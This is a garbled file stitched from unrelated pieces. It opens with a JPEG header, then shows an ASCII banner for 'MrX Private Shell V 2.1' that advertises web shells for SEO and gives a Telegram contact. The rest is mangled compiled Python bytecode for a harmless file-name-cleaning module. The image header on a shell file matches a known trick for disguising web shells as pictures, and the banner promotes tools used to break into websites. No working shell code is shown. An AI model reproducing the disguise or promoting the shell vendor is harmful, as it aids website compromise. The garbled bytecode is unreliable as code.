����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
"e� � @ s G d d� de �ZdS )c @ sH e Zd Zedd� �Zedd� �Zedd� �Zedd� �Zed d
� �ZdS )�FilenameCleanerc C s� t �| �} zP| �d�}| d |� }| |d d � }d|v rNt �|�}t �|�}|d | W S tyl Y n ty| Y n0 | S )N�/� �.)r �_strip_abnormalities�rindex�_strip_around_so_delimited_dots�_strip_after_dash�
IndexError�
ValueError)�filenameZslash�dirname�basename� r �D/usr/lib/python3.9/site-packages/tracer/resources/FilenameCleaner.py�strip s
zFilenameCleaner.stripc C sx z| d | � d�� } W n ty( Y n0 | �d�r@| dd� } d| v rZ| d| � d�� } d| v rt| d| �d�� } | S )N� z#new� ����;z.#prelink#.)�indexr
�endswithr )r r r r r / s
z$FilenameCleaner._strip_abnormalitiesc C s~ zV| � d�}|d } t|�dkr(| d7 } | �d�}| �d�}| d |� | |d � } W n" tyh Y n tyx Y n0 | S )Nz.sor r r )�split�lenr r r r
)r
r Zfirst_dot_iZ
last_dot_ir r r r F s
z/FilenameCleaner._strip_around_so_delimited_dotsc C sp zH| � d�}| �d|�}t�| |d |� �rF| d |� | |d � } W n" tyZ Y n tyj Y n0 | S )N�-r r )r r r �_is_versionr r
)r
Zdash�dotr r r r U s
z!FilenameCleaner._strip_after_dashc C s$ | D ]}|� � r|dkr dS qdS )z:
Returns True if string contains only digits and dots
r FT)�isdigit)�string�charr r r r a s zFilenameCleaner._is_versionN) �__name__�
__module__�__qualname__�staticmethodr r r r r r r r r r s
r N)�objectr r r r r �<module> �